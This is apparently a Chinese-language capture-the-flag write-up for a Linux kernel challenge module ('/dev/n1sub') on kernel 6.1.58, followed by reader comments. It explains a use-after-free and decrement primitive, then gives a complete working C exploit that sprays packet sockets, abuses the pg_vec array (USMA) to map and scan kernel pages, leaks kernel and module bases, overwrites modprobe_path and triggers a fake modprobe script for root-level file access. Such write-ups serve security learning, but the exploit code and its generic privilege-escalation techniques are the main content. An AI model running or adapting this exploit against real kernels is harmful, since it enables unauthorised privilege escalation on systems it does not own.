拿了个三血,芜湖起飞
希望以后的kernel题提供wget上传功能,减少通过shell传static exp的痛苦
漏洞分析
内核版本
version 6.1.58 (chuj@pwn-host.nixos)
SLAB_FREELIST_RANDOM 未开启
SLAB_FREELIST_HARDENED 未开启
CONFIG_MEMCG 未开启
模块分析
sub_size和sub_offset由随机数生成,0x68<sub_size<0x818,0x50<sub_offset<sub_size
kmalloc根据sub_size生成,参数是GFP_KERNEL|GFP_ACCOUNT,可以申请两个,kfree存在UAF
edit为将对应slab的sub_offset偏移处的u32值-1,没有show功能
漏洞利用
前置分析
new功能创建的slab大小随机,并且edit功能是对随机偏移处的值进行更改
那么除非对于sub_size进行爆破,否则传统的对于指定大小的slab进行攻击的手段肯定是不适用的
但是对于io_uring以及USMA这种可以产生不定长度的指针数组slab的方法则非常契合
并且由于edit功能为每次对sub_offset偏移处值-1,也恰好契合了指针数组的使用
但是由于IORING_MAX_REG_BUFFERS(1<<14)的限制,io_uring的指针数组只能包含kmalloc-256以下,参考:https://kagehutatsu.com/?p=932
因此最后采用USMA来进行进一步利用
USMA扫描
前置知识:https://vul.360.net/archives/391
使用USMA存在的最大问题是,其无法映射属于buddy system的页
常规的喷射可利用的slab来进行泄漏与劫持的方法无法使用,因为这些内存页都存在PG_buddy标记,无法通过检查
并且由于edit功能只能减而不能加,我们无法访问到地址高于direct map的virtual memory,也就是mmap映射区
也就说无法通过mmap一个只读文件再去映射来实现读写
内存映射
这时我们需要找到一个内存页,其既可以满足USMA的映射条件,又有足够的影响力可以劫持程序流或者泄漏
因此我memset清空了每一个映射出来的内存页,想通过backtrace来定位一些特殊的页面
但是突然发现edit功能抛出了错误,原因是储存在模块bss段上的指针被清空了,包括free标记以及sub_size和sub_offset
但是显然我们的扫描是不可能到达0xffffffffc0000000地址以上的,因此可以猜测存在某个页面,其同样映射了内核模块的bss段的物理地址
经过详细调试成功定位到了这个页面,两个内存页面映射同一片物理地址区域,并且该页面满足USMA映射条件
这块内存也存在固定偏移的基于kernel_base的指针,因此可以实现模块基地址和内核基地址的泄漏
最终通过控制模块bss段上的指针,加上edit功能实现的简单读写,修改modprobe_path来实现提权
杂项
USMA的分配过程中存在一些kmalloc-1k的噪音,在sub_size>0x400以及sub_size<0x800需要释放两个slab来缓存噪音
在USMA分配pg_vec之前,分配大量kmalloc-4k页来填满free_page,让pg_vec从buddy system中申请新的内存页,可以使扫描更加稳定
USMA在mmap之后的内存映射可以通过munmap切断,再次修改pg_vec数组后再次mmap可以映射新的内存页,因此实现了内存页扫描
由于未开启CONFIG_MEMCG,GFP_KERNEL和GFP_ACCOUNT之间没有隔离,并且没有开启SLAB_FREELIST_RANDOM保护,UAF命中率还挺高
EXP:
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/fs.h>
#include <linux/fuse.h>
#include <linux/sched.h>
#include <linux/if_ether.h>
#include <linux/userfaultfd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define PAGE_SIZE 0x1000
#define N_SPRAY_PACKET_SOCK 0x200
#define N_SPARY_PACKET_SOCK_HOLE 0x10
#define N_SPRAY_FENSHUI_PACKET_SOCK (N_SPRAY_PACKET_SOCK / 2)
int dev_fd;
uint32_t sub_size, sub_offset;
void unshare_setup()
{
int temp_fd;
uid_t uid = getuid();
gid_t gid = getgid();
char buffer[0x100];
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET))
{
perror("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
exit(1);
}
temp_fd = open("/proc/self/setgroups", O_WRONLY);
write(temp_fd, "deny", strlen("deny"));
close(temp_fd);
temp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
write(temp_fd, buffer, strlen(buffer));
close(temp_fd);
temp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
write(temp_fd, buffer, strlen(buffer));
close(temp_fd);
return;
}
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
struct tpacket_req req;
int socket_fd, version;
int ret;
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0)
{
printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
ret = socket_fd;
goto err_out;
}
version = TPACKET_V1;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
if (ret < 0)
{
printf("[x] failed at setsockopt(PACKET_VERSION)\n");
goto err_setsockopt;
}
memset(&req, 0, sizeof(req));
req.tp_block_size = size;
req.tp_block_nr = nr;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if (ret < 0)
{
printf("[x] failed at setsockopt(PACKET_TX_RING)\n");
goto err_setsockopt;
}
return socket_fd;
err_setsockopt:
close(socket_fd);
err_out:
return ret;
}
int packet_socket_setup(uint32_t block_size, uint32_t frame_size,
uint32_t block_nr, uint32_t sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0)
{
perror("[-] socket (AF_PACKET)");
exit(1);
}
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0)
{
perror("[-] setsockopt (PACKET_VERSION)");
exit(1);
}
struct tpacket_req3 req3;
memset(&req3, 0, sizeof(req3));
req3.tp_sizeof_priv = sizeof_priv;
req3.tp_block_nr = block_nr;
req3.tp_block_size = block_size;
req3.tp_frame_size = frame_size;
req3.tp_frame_nr = (block_size * block_nr) / frame_size;
req3.tp_retire_blk_tov = timeout;
req3.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));
if (rv < 0)
{
perror("[-] setsockopt (PACKET_RX_RING)");
exit(1);
}
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_halen = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0)
{
perror("[-] bind (AF_PACKET)");
exit(1);
}
return s;
}
void new()
{
sub_size = ioctl(dev_fd, 0xDEADBEE0, &sub_offset);
}
uint32_t delete(uint64_t idx)
{
return ioctl(dev_fd, 0xDEADBEE1, idx);
}
uint32_t edit(uint64_t idx)
{
return ioctl(dev_fd, 0xDEADBEE2, idx);
}
int main()
{
unshare_setup();
dev_fd = open("/dev/n1sub",O_RDWR);
int socket_list[0x100];
for (int i = 0; i < 0x80; i++) socket_list[i] = create_socket_and_alloc_pages(PAGE_SIZE, 1);
new();
printf("[+] sub_size = 0x%lx\n", sub_size);
printf("[+] sub_offset = 0x%lx\n", sub_offset);
int block_nr = sub_size / 0x8;
if (sub_size > 0x400 && sub_size < 0x800)
{
new();
delete(0);
delete(1);
}
else
{
delete(0);
}
int packet_fds = packet_socket_setup(PAGE_SIZE, 0x800, block_nr, 0, 1000);
puts("[.] Searching for module page");
uint64_t *evil_block;
for (int k = 0; ; k++)
{
for (uint64_t i = 0; i < PAGE_SIZE; i++) edit(0);
char *page = mmap(NULL, PAGE_SIZE * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0);
if ((uint64_t)page == -1) continue;
evil_block = (void *)((sub_offset / 0x8) * PAGE_SIZE + page);
if (evil_block[0x3] == 0x0000000000627573)
{
puts("[+] Got module page vmmap");
break;
}
munmap(page, PAGE_SIZE * block_nr);
if (k > 0x200)
{
puts("[X] Search for module page Failure");
exit(-1);
}
}
uint64_t kernel_base = evil_block[0xF] - 0x1851720;
uint64_t modprobe_path = kernel_base + 0x1852420;
printf("[+] kernel_base = 0x%lx\n", kernel_base);
printf("[+] modprobe_path = 0x%lx\n", modprobe_path);
uint32_t difference[] = {0, 0xFF, 0xF4, 0xF8, 0x3E};
for (int i = 1; i <= 0x5; i++)
{
evil_block[0x6E] = modprobe_path - sub_offset + i;
for (uint32_t j = 0; j < difference[i]; j++) edit(0);
}
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/modprobe");
system("chmod +x /tmp/modprobe");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
}
tql,佬。当时看到这两个随机数,我就一面懵逼了
佬,我晚上调试了一下,有个疑问,那两个页面,我看一个是在直接映射区,另一个在内核代码映射区,我觉得是直接映射区映射了整个物理内存导致的(我调试没调出来)。所以这是怎么获取的直接映射区的虚拟内存页的呢?难道它是 slab 对象么?我在调试的时候也没有找到该页面。但是直接打成功率确实很高
你说的是那两个映射同一片物理内存的两个页吗,相同映射是我通过调试找出来的,具体的映射实现应该在Linux内核模块加载的源码那边。定位这两个内存页的话可以通过开头的字节找,会保存模块的名称”sub”,不断的扫描映射的页面就行了。
pt_regs数组是啥,是pg_vec 数组吗
感谢指正,已修改